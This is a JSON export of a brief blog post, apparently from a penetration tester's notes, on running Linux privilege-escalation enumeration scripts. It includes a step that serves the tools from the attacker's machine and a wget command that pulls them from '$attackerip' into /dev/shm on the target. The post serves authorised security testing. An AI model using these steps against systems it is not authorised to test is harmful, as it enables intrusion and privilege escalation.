{"id":2312,"date":"2021-01-10T14:24:27","date_gmt":"2021-01-10T13:24:27","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=2312"},"modified":"2023-12-20T21:37:11","modified_gmt":"2023-12-20T20:37:11","slug":"linux-privilege-escalation-scripts","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=2312","title":{"rendered":"Linux privilege escalation scripts"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Pre\u00adpare the own system:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">cd p151.general.1\n.\/scripts\/update_privesc_scripts.sh\ncd scripts\/privesc\/linux\npython -m SimpleHTTPServer 80<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Pre\u00adpare the target:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">cd \/dev\/shm\nwget http:\/\/$attackerip\/_ex.tar\ntar xf _ex.tar\nscript<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, exe\u00adcute&nbsp;it:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><a href=\"https:\/\/github.com\/carlospolop\/privilege-escalation-awesome-scripts-suite\">Lin\u00adPeas<\/a>: .\/linpeas.sh<\/li><li><a href=\"https:\/\/github.com\/rebootuser\/LinEnum\">LinEnum<\/a>: .\/LinEnum.sh<\/li><li><a href=\"https:\/\/github.com\/diego-treitos\/linux-smart-enumeration\">lin\u00adux-smart-enu\u00admer\u00ada\u00adtion<\/a>: .\/lse.sh \u2011l1<\/li><li><a href=\"https:\/\/github.com\/jondonas\/linux-exploit-suggester-2\">lin\u00adux-exploit-sug\u00adgester\u20112<\/a>: .\/linux-exploit-suggester\u20112.pl<\/li><li><a href=\"https:\/\/github.com\/TH3xACE\/SUDO_KILLER\">sudo-killer<\/a>: .\/SUDO_KILLERv2.0.5.sh<\/li><li><a href=\"https:\/\/github.com\/sleventyeleven\/linuxprivchecker\">lin\u00adux\u00adprivcheck\u00ader<\/a>: .\/linuxprivchecker.py<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Final\u00adly: Copy type\u00adscript file to the PentestManager!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pre\u00adpare the own sys\u00adtem: cd p151.general.1 .\/scripts\/update_privesc_scripts.sh cd scripts\/privesc\/linux python \u2011m Sim\u00adple\u00adHTTPServ\u00ader 80 Pre\u00adpare the tar\u00adget: cd \/dev\/shm wget http:\/\/$attackerip\/_ex.tar tar xf _ex.tar script Now, exe\u00adcute&nbsp;it: Lin\u00adPeas: .\/linpeas.sh LinEnum: .\/LinEnum.sh lin\u00adux-smart-enu\u00admer\u00ada\u00ad\u00adtion: .\/lse.sh \u2011l1 lin\u00adux-exploit-sug\u00ad\u00adgester\u20112: .\/linux-exploit-suggester\u20112.pl sudo-killer: .\/SUDO_KILLERv2.0.5.sh lin\u00adux\u00adprivcheck\u00ader: .\/linuxprivchecker.py Final\u00adly: Copy type\u00adscript file to the PentestManager!<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[471,483],"tags":[33,53],"class_list":["post-2312","post","type-post","status-publish","format-standard","hentry","category-privesc","category-howtos","tag-linux","tag-privilege-escalation"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2312","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2312"}],"version-history":[{"count":13,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2312\/revisions"}],"predecessor-version":[{"id":2725,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2312\/revisions\/2725"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2312"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2312"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2312"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}